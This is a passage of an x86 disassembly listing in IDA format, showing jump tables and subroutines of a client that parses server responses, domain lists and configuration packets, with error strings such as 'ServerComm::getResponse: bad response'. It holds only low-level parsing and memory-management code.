loc_40BCC4: ; CODE XREF: sub_40BB2D+180j
; DATA XREF: .vty:off_40BDADo
mov ecx, [esi] ; jumptable 0040BCAD case 1
mov eax, [ecx]
call dword ptr [eax+4]
jmp loc_40BD5E
; ---------------------------------------------------------------------------
loc_40BCD0: ; CODE XREF: sub_40BB2D+180j
; DATA XREF: .vty:off_40BDADo
mov eax, [esi] ; jumptable 0040BCAD case 2
mov ebx, [eax]
push ecx
mov ecx, edi
add ebx, 8
call sub_40BDCD
loc_40BCDF: ; CODE XREF: sub_40BB2D+1CDj
mov ecx, [esi]
push eax
call dword ptr [ebx]
jmp short loc_40BD5E
; ---------------------------------------------------------------------------
loc_40BCE6: ; CODE XREF: sub_40BB2D+180j
; DATA XREF: .vty:off_40BDADo
mov eax, [esi] ; jumptable 0040BCAD case 3
mov ebx, [eax]
add ecx, 0FFFFFFDCh
push ecx
lea eax, [edi+24h]
push eax
add ebx, 0Ch
call sub_40C10E
jmp short loc_40BCDF
; ---------------------------------------------------------------------------
loc_40BCFC: ; CODE XREF: sub_40BB2D+180j
; DATA XREF: .vty:off_40BDADo
mov byte ptr [edi+ecx], 0 ; jumptable 0040BCAD case 4
mov ecx, [esi]
mov eax, [ecx]
push edi
call dword ptr [eax+10h]
jmp short loc_40BD5E
; ---------------------------------------------------------------------------
loc_40BD0A: ; CODE XREF: sub_40BB2D+180j
; DATA XREF: .vty:off_40BDADo
mov ecx, [esi] ; jumptable 0040BCAD case 5
push dword ptr [edi]
mov eax, [ecx]
call dword ptr [eax+14h]
jmp short loc_40BD5E
; ---------------------------------------------------------------------------
loc_40BD15: ; CODE XREF: sub_40BB2D+180j
; DATA XREF: .vty:off_40BDADo
mov ecx, [esi] ; jumptable 0040BCAD case 6
push dword ptr [edi]
mov eax, [ecx]
call dword ptr [eax+18h]
jmp short loc_40BD5E
; ---------------------------------------------------------------------------
loc_40BD20: ; CODE XREF: sub_40BB2D+180j
; DATA XREF: .vty:off_40BDADo
xor eax, eax ; jumptable 0040BCAD case 7
mov [esp+0A8h+var_8C], eax
mov [esp+0A8h+var_88], eax
mov [esp+0A8h+var_84], eax
lea eax, [esp+0A8h+var_90]
push eax
push ecx
lea eax, [esp+0B0h+var_94]
mov [esp+0B0h+var_4], ebx
push eax
mov [esp+0B4h+var_94], edi
call sub_40C028
mov ecx, [esi]
mov eax, [ecx]
lea edx, [esp+0A8h+var_90]
push edx
call dword ptr [eax+1Ch]
lea esi, [esp+0A8h+var_90]
call sub_405AAC
loc_40BD5E: ; CODE XREF: sub_40BB2D+192j
; sub_40BB2D+19Ej ...
push edi
call sub_4103B5
pop ecx
jmp loc_40BBB9
; ---------------------------------------------------------------------------
loc_40BD6A: ; CODE XREF: sub_40BB2D+17Aj
push edi ; default
call sub_4103B5
lea ecx, [esp+0ACh+var_48]
mov [esp+0ACh+var_AC], offset aServercommGe_3 ; "ServerComm::getResponse: bad response -"...
call sub_401C44
lea eax, [esp+0A8h+var_48]
push eax
lea ecx, [esp+0ACh+var_2C]
mov [esp+0ACh+var_4], 5
call sub_401C1E
push offset dword_41FF2C
lea eax, [esp+0ACh+var_2C]
jmp loc_40BB94
sub_40BB2D endp
; ---------------------------------------------------------------------------
off_40BDAD dd offset loc_40BCB4 ; DATA XREF: sub_40BB2D+180r
dd offset loc_40BCC4 ; jump table for switch statement
dd offset loc_40BCD0
dd offset loc_40BCE6
dd offset loc_40BCFC
dd offset loc_40BD0A
dd offset loc_40BD15
dd offset loc_40BD20
; =============== S U B R O U T I N E =======================================
sub_40BDCD proc near ; CODE XREF: sub_40BB2D+1ADp
mov eax, offset loc_41B31A
call sub_41AE44
sub esp, 0B4h
push ebx
push esi
push edi
push 0Ch
mov edi, ecx
call sub_40DE68
mov esi, eax
pop ecx
mov [ebp-18h], esi
xor ebx, ebx
cmp esi, ebx
mov [ebp-4], ebx
jz short loc_40BE08
call sub_405A4E
mov [esi+4], eax
mov [esi+8], ebx
mov [ebp-10h], esi
jmp short loc_40BE0B
; ---------------------------------------------------------------------------
loc_40BE08: ; CODE XREF: sub_40BDCD+29j
mov [ebp-10h], ebx
loc_40BE0B: ; CODE XREF: sub_40BDCD+39j
mov eax, [ebp+8]
push 0Fh
pop esi
add eax, edi
push ebx
lea ecx, [ebp-98h]
mov [ebp-14h], eax
mov [ebp-80h], esi
call sub_401564
mov dword ptr [ebp-4], 1
jmp loc_40BFC8
; ---------------------------------------------------------------------------
loc_40BE31: ; CODE XREF: sub_40BDCD+201j
mov dl, [edi]
mov edi, eax
mov al, [edi]
movzx eax, al
inc edi
lea ecx, [eax+edi]
cmp ecx, [ebp-14h]
mov [ebp+0Bh], dl
mov [ebp-20h], eax
mov [ebp-18h], ecx
ja loc_40BFD4
cmp dl, 0FFh
jnz short loc_40BEC7
push eax
push edi
lea ecx, [ebp-98h]
call sub_401483
push ebx
lea ecx, [ebp-58h]
mov [ebp-40h], esi
call sub_401564
mov [ebp-38h], ebx
mov [ebp-34h], ebx
mov [ebp-30h], ebx
mov [ebp-2Ch], ebx
mov [ebp-28h], ebx
mov eax, [ebp-10h]
mov byte ptr [ebp-4], 3
push dword ptr [eax+4]
lea ecx, [ebp-58h]
push eax
push ecx
push eax
call sub_406CEA
lea edi, [ebp-3Ch]
mov byte ptr [ebp-4], 1
call sub_406C09
push ebx
push 1
lea ecx, [ebp-58h]
call sub_4013C4
mov eax, [ebp-10h]
call sub_40C211
push 0FFFFFFFFh
push ebx
lea ecx, [ebp-98h]
push ecx
mov ecx, eax
call sub_401315
jmp loc_40BFC5
; ---------------------------------------------------------------------------
loc_40BEC7: ; CODE XREF: sub_40BDCD+86j
mov eax, [ebp-10h]
cmp [eax+8], ebx
jz loc_40BFF6
push ebx
lea ecx, [ebp-7Ch]
mov [ebp-64h], esi
call sub_401564
lea esi, [ebp-60h]
call sub_4012E2
lea esi, [ebp-44h]
call sub_4012E2
mov [ebp-28h], ebx
mov [ebp-24h], bl
mov [ebp-23h], bl
mov eax, [ebp-10h]
mov byte ptr [ebp-4], 5
call sub_40C211
mov esi, eax
mov ecx, [esi+20h]
add esi, 1Ch
cmp ecx, ebx
jnz short loc_40BF15
mov [ebp-1Ch], ebx
jmp short loc_40BF23
; ---------------------------------------------------------------------------
loc_40BF15: ; CODE XREF: sub_40BDCD+141j
mov eax, [esi+0Ch]
sub eax, ecx
push 5Ch
cdq
pop ecx
idiv ecx
mov [ebp-1Ch], eax
loc_40BF23: ; CODE XREF: sub_40BDCD+146j
mov eax, esi
call sub_405555
cmp eax, [ebp-1Ch]
jnb short loc_40BF42
lea eax, [ebp-7Ch]
push eax
push 1
push dword ptr [esi+8]
call sub_40C33D
mov [esi+8], eax
jmp short loc_40BF62
; ---------------------------------------------------------------------------
loc_40BF42: ; CODE XREF: sub_40BDCD+160j
mov ebx, [esi+8]
cmp [esi+4], ebx
jbe short loc_40BF4F
call sub_40DCFC
loc_40BF4F: ; CODE XREF: sub_40BDCD+17Bj
push ebx
push esi
lea eax, [ebp-7Ch]
push eax
lea ebx, [ebp-0A0h]
call sub_40C2BE
xor ebx, ebx
loc_40BF62: ; CODE XREF: sub_40BDCD+173j
lea esi, [ebp-7Ch]
mov byte ptr [ebp-4], 1
call sub_407598
mov eax, [ebp-10h]
call sub_40C211
push 1Ch
pop esi
add eax, esi
call sub_40C1D3
mov cl, [ebp+0Bh]
mov [eax+59h], cl
mov eax, [ebp-10h]
call sub_40C211
add eax, esi
call sub_40C1D3
push 0FFFFFFFFh
push ebx
lea ecx, [ebp-98h]
add eax, esi
push ecx
mov ecx, eax
call sub_401315
push dword ptr [ebp-20h]
mov eax, [ebp-10h]
push edi
call sub_40C211
add eax, esi
call sub_40C1D3
mov ecx, eax
call sub_401483
push 0Fh
pop esi
loc_40BFC5: ; CODE XREF: sub_40BDCD+F5j
mov edi, [ebp-18h]
loc_40BFC8: ; CODE XREF: sub_40BDCD+5Fj
lea eax, [edi+1]
cmp eax, [ebp-14h]
jb loc_40BE31
loc_40BFD4: ; CODE XREF: sub_40BDCD+7Dj
push ebx
push 1
lea ecx, [ebp-98h]
call sub_4013C4
mov ecx, [ebp-0Ch]
mov eax, [ebp-10h]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40BFF6: ; CODE XREF: sub_40BDCD+100j
push offset aServercommRead ; "ServerComm::readDomains: email does not"...
lea ecx, [ebp-0BCh]
call sub_401C44
lea eax, [ebp-0BCh]
push eax
lea ecx, [ebp-3Ch]
mov byte ptr [ebp-4], 4
call sub_401C1E
push offset dword_41FF2C
lea eax, [ebp-3Ch]
push eax
call sub_4107BC
int 3 ; Trap to Debugger
sub_40BDCD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40C028 proc near ; CODE XREF: sub_40BB2D+217p
; sub_40C10E+9Fp ...
mov eax, offset loc_41B2D8
call sub_41AE44
sub esp, 1Ch
push ebx
push esi
mov esi, [ebp+8]
push edi
mov edi, [esi]
add edi, [ebp+0Ch]
push 0
lea ecx, [ebp-28h]
mov dword ptr [ebp-10h], 0Fh
call sub_401564
mov ebx, [ebp+10h]
and dword ptr [ebp-4], 0
lea eax, [ebp-28h]
push eax
mov eax, ebx
call sub_409560
or dword ptr [ebp-4], 0FFFFFFFFh
push 0
push 1
lea ecx, [ebp-28h]
call sub_4013C4
jmp short loc_40C0D1
; ---------------------------------------------------------------------------
loc_40C075: ; CODE XREF: sub_40C028+ABj
mov eax, [esi]
mov al, [eax]
test al, al
jz short loc_40C09C
mov [ebp+0Ch], al
mov eax, ebx
call sub_40C232
push dword ptr [ebp+0Ch]
xor ebx, ebx
inc ebx
mov esi, eax
call sub_40140F
mov ebx, [ebp+10h]
mov esi, [ebp+8]
jmp short loc_40C0CF
; ---------------------------------------------------------------------------
loc_40C09C: ; CODE XREF: sub_40C028+53j
push 0
lea ecx, [ebp-28h]
mov dword ptr [ebp-10h], 0Fh
call sub_401564
lea eax, [ebp-28h]
push eax
mov eax, ebx
mov dword ptr [ebp-4], 1
call sub_409560
or dword ptr [ebp-4], 0FFFFFFFFh
push 0
push 1
lea ecx, [ebp-28h]
call sub_4013C4
loc_40C0CF: ; CODE XREF: sub_40C028+72j
inc dword ptr [esi]
loc_40C0D1: ; CODE XREF: sub_40C028+4Bj
cmp [esi], edi
jb short loc_40C075
mov eax, ebx
call sub_40C232
cmp dword ptr [eax+14h], 0
jnz short loc_40C0FD
mov eax, ebx
call sub_4057B6
test eax, eax
jz short loc_40C0FD
mov eax, [ebx+8]
push eax
add eax, 0FFFFFFE4h
call sub_405A8F
add dword ptr [ebx+8], 0FFFFFFE4h
loc_40C0FD: ; CODE XREF: sub_40C028+B8j
; sub_40C028+C3j
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 0Ch
sub_40C028 endp
; =============== S U B R O U T I N E =======================================
sub_40C10E proc near ; CODE XREF: sub_40BB2D+1C8p
mov eax, offset loc_41B46F
call sub_41AE44
mov eax, [edi+1Ch]
add eax, [edi+20h]
sub esp, 40h
cmp [ebp+0Ch], eax
push esi
jz short loc_40C152
push offset aConfigPacketHa ; "Config packet has incorrect size"
lea ecx, [ebp-28h]
call sub_401C44
and dword ptr [ebp-4], 0
lea eax, [ebp-28h]
push eax
lea ecx, [ebp-44h]
call sub_401C1E
push offset dword_41FF2C
lea eax, [ebp-44h]
push eax
call sub_4107BC
loc_40C152: ; CODE XREF: sub_40C10E+17j
push 3Ch
call sub_40DE68
pop ecx
xor esi, esi
cmp eax, esi
jz short loc_40C174
mov [eax+20h], esi
mov [eax+24h], esi
mov [eax+28h], esi
mov [eax+30h], esi
mov [eax+34h], esi
mov [eax+38h], esi
mov esi, eax
loc_40C174: ; CODE XREF: sub_40C10E+50j
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [edi]
mov [esi], eax
mov eax, [edi+4]
mov [esi+4], eax
mov eax, [edi+8]
mov [esi+8], eax
mov eax, [edi+0Ch]
mov [esi+0Ch], eax
mov eax, [edi+10h]
mov [esi+10h], eax
mov eax, [edi+14h]
mov [esi+14h], eax
mov al, [edi+18h]
and al, 1
mov [esi+18h], al
lea eax, [esi+1Ch]
push eax
push dword ptr [edi+1Ch]
lea eax, [ebp+8]
push eax
call sub_40C028
lea eax, [esi+2Ch]
push eax
push dword ptr [edi+20h]
lea eax, [ebp+8]
push eax
call sub_40C028
mov ecx, [ebp-0Ch]
mov eax, esi
mov large fs:0, ecx
pop esi
leave
retn 8
sub_40C10E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C1D3 proc near ; CODE XREF: sub_40BDCD+1AEp
; sub_40BDCD+1C3p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
mov esi, eax
push edi
mov edi, [esi+8]
cmp [esi+4], edi
jbe short loc_40C1EA
call sub_40DCFC
loc_40C1EA: ; CODE XREF: sub_40C1D3+10j
mov [ebp+var_4], edi
push 0FFFFFFFFh
lea edi, [ebp+var_8]
mov [ebp+var_8], esi
call sub_40C7D0
mov ecx, [eax]
mov eax, [eax+4]
lea esi, [ebp+var_10]
mov [ebp+var_10], ecx
mov [ebp+var_C], eax
call sub_409835
pop edi
pop esi
leave
retn
sub_40C1D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C211 proc near ; CODE XREF: sub_40BDCD+DFp
; sub_40BDCD+132p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, [eax+4]
push esi
lea esi, [ebp+var_8]
mov [ebp+var_4], ecx
mov [ebp+var_8], eax
call sub_405967
mov esi, eax
call sub_406402
pop esi
leave
retn
sub_40C211 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C232 proc near ; CODE XREF: sub_40C028+5Ap
; sub_40C028+AFp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
mov esi, eax
push edi
mov edi, [esi+8]
cmp [esi+4], edi
jbe short loc_40C249
call sub_40DCFC
loc_40C249: ; CODE XREF: sub_40C232+10j
mov [ebp+var_4], edi
push 0FFFFFFFFh
lea edi, [ebp+var_8]
mov [ebp+var_8], esi
call sub_40AFF4
mov ecx, [eax]
mov eax, [eax+4]
lea esi, [ebp+var_10]
mov [ebp+var_10], ecx
mov [ebp+var_C], eax
call sub_409835
pop edi
pop esi
leave
retn
sub_40C232 endp
; =============== S U B R O U T I N E =======================================
sub_40C270 proc near ; CODE XREF: sub_40B7A2+5Cp
; sub_40B7A2+83p ...
var_C = byte ptr -0Ch
mov edx, [esi+4]
sub esp, 10h
test edx, edx
push edi
jnz short loc_40C27F
xor ecx, ecx
jmp short loc_40C284
; ---------------------------------------------------------------------------
loc_40C27F: ; CODE XREF: sub_40C270+9j
mov ecx, [esi+8]
sub ecx, edx
loc_40C284: ; CODE XREF: sub_40C270+Dj
test edx, edx
jz short loc_40C29E
mov eax, [esi+0Ch]
sub eax, edx
cmp ecx, eax
jnb short loc_40C29E
mov eax, [esi+8]
mov cl, [ebx]
mov [eax], cl
inc eax
mov [esi+8], eax
jmp short loc_40C2B9
; ---------------------------------------------------------------------------
loc_40C29E: ; CODE XREF: sub_40C270+16j
; sub_40C270+1Fj
mov edi, [esi+8]
cmp edx, edi
jbe short loc_40C2AA
call sub_40DCFC
loc_40C2AA: ; CODE XREF: sub_40C270+33j
push edi
push esi
push ebx
lea eax, [esp+20h+var_C]
push eax
mov eax, esi
call sub_40C36D
loc_40C2B9: ; CODE XREF: sub_40C270+2Cj
pop edi
add esp, 10h
retn
sub_40C270 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2BE proc near ; CODE XREF: sub_40BDCD+18Ep
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push edi
mov eax, esi
call sub_405555
test eax, eax
jnz short loc_40C2D4
and [ebp+var_8], eax
jmp short loc_40C2FF
; ---------------------------------------------------------------------------
loc_40C2D4: ; CODE XREF: sub_40C2BE+Fj
mov edi, [esi+4]
cmp edi, [esi+8]
jbe short loc_40C2E1
call sub_40DCFC
loc_40C2E1: ; CODE XREF: sub_40C2BE+1Cj
cmp [ebp+arg_4], 0
jz short loc_40C2EC
cmp [ebp+arg_4], esi
jz short loc_40C2F1
loc_40C2EC: ; CODE XREF: sub_40C2BE+27j
call sub_40DCFC
loc_40C2F1: ; CODE XREF: sub_40C2BE+2Cj
mov eax, [ebp+arg_8]
sub eax, edi
push 5Ch
cdq
pop ecx
idiv ecx
mov [ebp+var_8], eax
loc_40C2FF: ; CODE XREF: sub_40C2BE+14j
push [ebp+arg_8]
mov ecx, [ebp+arg_0]
push [ebp+arg_4]
push esi
call sub_40C3E5
mov edi, [esi+4]
cmp edi, [esi+8]
jbe short loc_40C31B
call sub_40DCFC
loc_40C31B: ; CODE XREF: sub_40C2BE+56j
push [ebp+var_8]
mov [ebp+arg_8], edi
lea edi, [ebp+arg_4]
mov [ebp+arg_4], esi
call sub_40C7D0
mov ecx, [eax]
mov eax, [eax+4]
mov [ebx+4], eax
mov [ebx], ecx
mov eax, ebx
pop edi
leave
retn 0Ch
sub_40C2BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C33D proc near ; CODE XREF: sub_40BDCD+16Bp
; sub_40C3E5+BFp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push edi
xor eax, eax
lea edi, [ebp+var_4]
stosb
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40CA70
mov eax, [ebp+arg_4]
imul eax, 5Ch
add esp, 14h
add eax, [ebp+arg_0]
pop edi
leave
retn 0Ch
sub_40C33D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C36D proc near ; CODE XREF: sub_40C270+44p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
push edi
mov edi, [esi+4]
xor ebx, ebx
cmp edi, ebx
jz short loc_40C3A5
mov eax, [esi+8]
mov ecx, eax
sub ecx, edi
jz short loc_40C3A5
cmp edi, eax
jbe short loc_40C391
call sub_40DCFC
loc_40C391: ; CODE XREF: sub_40C36D+1Dj
cmp [ebp+arg_8], ebx
jz short loc_40C39B
cmp [ebp+arg_8], esi
jz short loc_40C3A0
loc_40C39B: ; CODE XREF: sub_40C36D+27j
call sub_40DCFC
loc_40C3A0: ; CODE XREF: sub_40C36D+2Cj
mov ebx, [ebp+arg_C]
sub ebx, edi
loc_40C3A5: ; CODE XREF: sub_40C36D+10j
; sub_40C36D+19j
push [ebp+arg_C]
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov ecx, esi
call sub_40C620
mov edi, [esi+4]
cmp edi, [esi+8]
jbe short loc_40C3C2
call sub_40DCFC
loc_40C3C2: ; CODE XREF: sub_40C36D+4Ej
mov [ebp+arg_C], edi
add edi, ebx
cmp edi, [esi+8]
ja short loc_40C3D1
cmp edi, [esi+4]
jnb short loc_40C3D6
loc_40C3D1: ; CODE XREF: sub_40C36D+5Dj
call sub_40DCFC
loc_40C3D6: ; CODE XREF: sub_40C36D+62j
mov eax, [ebp+arg_0]
mov [eax+4], edi
pop edi
mov [eax], esi
pop esi
pop ebx
leave
retn 10h
sub_40C36D endp
; =============== S U B R O U T I N E =======================================
sub_40C3E5 proc near ; CODE XREF: sub_40C2BE+4Bp
mov eax, offset loc_41B129
call sub_41AE44
sub esp, 6Ch
push ebx
mov ebx, [ebp+8]
push esi
push edi
lea eax, [ebp-78h]
mov [ebp-10h], esp
push eax
mov edi, ecx
call sub_40772B
xor esi, esi
mov [ebp-4], esi
mov ecx, [ebx+4]
cmp ecx, esi
jz short loc_40C422
mov eax, [ebx+0Ch]
sub eax, ecx
push 5Ch
cdq
pop ecx
idiv ecx
mov [ebp-14h], eax
mov esi, eax
loc_40C422: ; CODE XREF: sub_40C3E5+2Bj
mov eax, ebx
call sub_405555
mov edi, 2C8590Bh
mov ecx, edi
sub ecx, eax
cmp ecx, 1
jnb short loc_40C43C
call sub_40684D
loc_40C43C: ; CODE XREF: sub_40C3E5+50j
mov eax, ebx
call sub_405555
inc eax
cmp esi, eax
jnb loc_40C538
mov eax, esi
shr eax, 1
sub edi, eax
cmp edi, esi
jnb short loc_40C45F
and dword ptr [ebp-14h], 0
mov esi, [ebp-14h]
jmp short loc_40C464
; ---------------------------------------------------------------------------
loc_40C45F: ; CODE XREF: sub_40C3E5+6Fj
add esi, eax
mov [ebp-14h], esi
loc_40C464: ; CODE XREF: sub_40C3E5+78j
mov eax, ebx
call sub_405555
inc eax
cmp esi, eax
jnb short loc_40C47D
mov eax, ebx
call sub_405555
inc eax
mov [ebp-14h], eax
mov esi, eax
loc_40C47D: ; CODE XREF: sub_40C3E5+89j
mov ecx, esi
call sub_40740A
push eax
push dword ptr [ebp+10h]
mov byte ptr [ebp-4], 1
mov ecx, [ebx+4]
mov [ebp-18h], eax
mov [ebp+8], eax
call sub_40C801
lea ecx, [ebp-78h]
push ecx
push 1
push eax
mov [ebp+8], eax
call sub_40C33D
mov ecx, [ebp+10h]
push eax
push dword ptr [ebx+8]
mov [ebp+8], eax
call sub_40C801
mov eax, ebx
call sub_405555
mov edi, eax
mov eax, [ebx+4]
inc edi
test eax, eax
jz short loc_40C4F6
mov ecx, [ebx+8]
cmp eax, ecx
mov [ebp+10h], ecx
mov [ebp+8], eax
jz short loc_40C4ED
loc_40C4D6: ; CODE XREF: sub_40C3E5+103j
mov esi, [ebp+8]
call sub_407598
add dword ptr [ebp+8], 5Ch
mov eax, [ebp+8]
cmp eax, [ebp+10h]
jnz short loc_40C4D6
mov esi, [ebp-14h]
loc_40C4ED: ; CODE XREF: sub_40C3E5+EFj
push dword ptr [ebx+4]
call sub_40DD8A
pop ecx
loc_40C4F6: ; CODE XREF: sub_40C3E5+E2j
mov eax, [ebp-18h]
imul esi, 5Ch
imul edi, 5Ch
add esi, eax
add edi, eax
mov [ebx+0Ch], esi
mov [ebx+8], edi
mov [ebx+4], eax
jmp loc_40C607
; ---------------------------------------------------------------------------
loc_40C511: ; DATA XREF: .vty:0042082Co
mov edi, [ebp-18h]
cmp edi, [ebp+8]
mov esi, edi
jz short loc_40C528
loc_40C51B: ; CODE XREF: sub_40C3E5+141j
call sub_407598
add esi, 5Ch
cmp esi, [ebp+8]
jnz short loc_40C51B
loc_40C528: ; CODE XREF: sub_40C3E5+134j
push edi
call sub_40DD8A
pop ecx
loc_40C52F: ; CODE XREF: sub_40C3E5+1D3j
push 0
push 0
call sub_4107BC
loc_40C538: ; CODE XREF: sub_40C3E5+61j
mov esi, [ebx+8]
mov edi, [ebp+10h]
mov eax, esi
sub eax, edi
push 5Ch
cdq
pop ecx
idiv ecx
cmp eax, 1
jnb short loc_40C5BD
lea eax, [edi+5Ch]
push eax
push esi
mov ecx, edi
call sub_40C801
mov byte ptr [ebp-4], 3
mov ecx, [ebx+8]
lea eax, [ebp-78h]
push eax
mov eax, ecx
sub eax, edi
push 5Ch
pop esi
cdq
idiv esi
xor edx, edx
inc edx
sub edx, eax
push edx
push ecx
call sub_40C33D
and dword ptr [ebp-4], 0
add [ebx+8], esi
mov ebx, [ebx+8]
add ebx, 0FFFFFFA4h
cmp edi, ebx
mov esi, edi
jz short loc_40C607
loc_40C58D: ; CODE XREF: sub_40C3E5+1B5j
lea edi, [ebp-78h]
call sub_40CAD0
add esi, 5Ch
cmp esi, ebx
jnz short loc_40C58D
jmp short loc_40C607
; ---------------------------------------------------------------------------
loc_40C59E: ; DATA XREF: .vty:0042083Co
mov eax, [ebp+8]
mov edi, [eax+8]
mov esi, [ebp+10h]
add edi, 5Ch
jmp short loc_40C5B1
; ---------------------------------------------------------------------------
loc_40C5AC: ; CODE XREF: sub_40C3E5+1D1j
call sub_407598
loc_40C5B1: ; CODE XREF: sub_40C3E5+1C5j
add esi, 5Ch
cmp esi, edi
jnz short loc_40C5AC
jmp loc_40C52F
; ---------------------------------------------------------------------------
loc_40C5BD: ; CODE XREF: sub_40C3E5+166j
push esi
lea ecx, [esi-5Ch]
push esi
call sub_40C801
mov [ebx+8], eax
lea ebx, [esi-5Ch]
cmp edi, ebx
jz short loc_40C5EF
mov [ebp+8], esi
sub [ebp+8], ebx
loc_40C5D7: ; CODE XREF: sub_40C3E5+205j
mov eax, [ebp+8]
sub ebx, 5Ch
lea esi, [eax+ebx]
mov edi, ebx
call sub_40CAD0
cmp ebx, [ebp+10h]
jnz short loc_40C5D7
mov edi, [ebp+10h]
loc_40C5EF: ; CODE XREF: sub_40C3E5+1EAj
lea ebx, [edi+5Ch]
cmp edi, ebx
mov esi, edi
jz short loc_40C607
loc_40C5F8: ; CODE XREF: sub_40C3E5+220j
lea edi, [ebp-78h]
call sub_40CAD0
add esi, 5Ch
cmp esi, ebx
jnz short loc_40C5F8
loc_40C607: ; CODE XREF: sub_40C3E5+127j
; sub_40C3E5+1A6j ...
lea esi, [ebp-78h]
call sub_407598
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 0Ch
sub_40C3E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C620 proc near ; CODE XREF: sub_40C36D+43p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov bl, [eax]
push esi
mov esi, ecx
mov ecx, [esi+4]
test ecx, ecx
push edi
mov byte ptr [ebp+var_8], bl
jnz short loc_40C63C
and [ebp+var_4], ecx
jmp short loc_40C644
; ---------------------------------------------------------------------------
loc_40C63C: ; CODE XREF: sub_40C620+15j
mov eax, [esi+0Ch]
sub eax, ecx
mov [ebp+var_4], eax
loc_40C644: ; CODE XREF: sub_40C620+1Aj
test ecx, ecx
jnz short loc_40C64C
xor eax, eax
jmp short loc_40C651
; ---------------------------------------------------------------------------
loc_40C64C: ; CODE XREF: sub_40C620+26j
mov eax, [esi+8]
sub eax, ecx
loc_40C651: ; CODE XREF: sub_40C620+2Aj
or edx, 0FFFFFFFFh
sub edx, eax
cmp edx, 1
jnb short loc_40C660
call sub_40684D
loc_40C660: ; CODE XREF: sub_40C620+39j
test ecx, ecx
jnz short loc_40C668
xor eax, eax
jmp short loc_40C66D
; ---------------------------------------------------------------------------
loc_40C668: ; CODE XREF: sub_40C620+42j
mov eax, [esi+8]
sub eax, ecx
loc_40C66D: ; CODE XREF: sub_40C620+46j
inc eax
cmp [ebp+var_4], eax
jnb loc_40C709
mov eax, [ebp+var_4]
shr eax, 1
or edx, 0FFFFFFFFh
sub edx, eax
cmp edx, [ebp+var_4]
jnb short loc_40C68C
and [ebp+var_4], 0
jmp short loc_40C68F
; ---------------------------------------------------------------------------
loc_40C68C: ; CODE XREF: sub_40C620+64j
add [ebp+var_4], eax
loc_40C68F: ; CODE XREF: sub_40C620+6Aj
test ecx, ecx
jnz short loc_40C697
xor eax, eax
jmp short loc_40C69C
; ---------------------------------------------------------------------------
loc_40C697: ; CODE XREF: sub_40C620+71j
mov eax, [esi+8]
sub eax, ecx
loc_40C69C: ; CODE XREF: sub_40C620+75j
inc eax
cmp [ebp+var_4], eax
jnb short loc_40C6B3
test ecx, ecx
jnz short loc_40C6AA
xor eax, eax
jmp short loc_40C6AF
; ---------------------------------------------------------------------------
loc_40C6AA: ; CODE XREF: sub_40C620+84j
mov eax, [esi+8]
sub eax, ecx
loc_40C6AF: ; CODE XREF: sub_40C620+88j
inc eax
mov [ebp+var_4], eax
loc_40C6B3: ; CODE XREF: sub_40C620+80j
mov ecx, [ebp+var_4]
call sub_40C789
push dword ptr [esi+4]
mov edi, eax
mov eax, [ebp+arg_4]
mov ecx, edi
call sub_40C825
push [ebp+arg_4]
mov [eax], bl
lea ecx, [eax+1]
mov eax, [esi+8]
call sub_40C825
mov eax, [esi+4]
test eax, eax
jnz short loc_40C6E5
xor ebx, ebx
jmp short loc_40C6EA
; ---------------------------------------------------------------------------
loc_40C6E5: ; CODE XREF: sub_40C620+BFj
mov ebx, [esi+8]
sub ebx, eax
loc_40C6EA: ; CODE XREF: sub_40C620+C3j
test eax, eax
jz short loc_40C6F5
push eax
call sub_40DD8A
pop ecx
loc_40C6F5: ; CODE XREF: sub_40C620+CCj
mov eax, [ebp+var_4]
add eax, edi
mov [esi+0Ch], eax
lea eax, [edi+ebx+1]
mov [esi+8], eax
mov [esi+4], edi
jmp short loc_40C782
; ---------------------------------------------------------------------------
loc_40C709: ; CODE XREF: sub_40C620+51j
mov edi, [esi+8]
mov ebx, [ebp+arg_4]
mov eax, edi
sub eax, ebx
cmp eax, 1
jnb short loc_40C745
lea ecx, [ebx+1]
push ebx
mov eax, edi
call sub_40C825
mov ecx, [esi+8]
mov eax, ebx
sub eax, ecx
inc eax
jz short loc_40C73A
push eax
push [ebp+var_8]
push ecx
call sub_40DD10
add esp, 0Ch
loc_40C73A: ; CODE XREF: sub_40C620+10Bj
inc dword ptr [esi+8]
mov esi, [esi+8]
lea eax, [esi-1]
jmp short loc_40C76F
; ---------------------------------------------------------------------------
loc_40C745: ; CODE XREF: sub_40C620+F6j
lea eax, [edi-1]
push eax
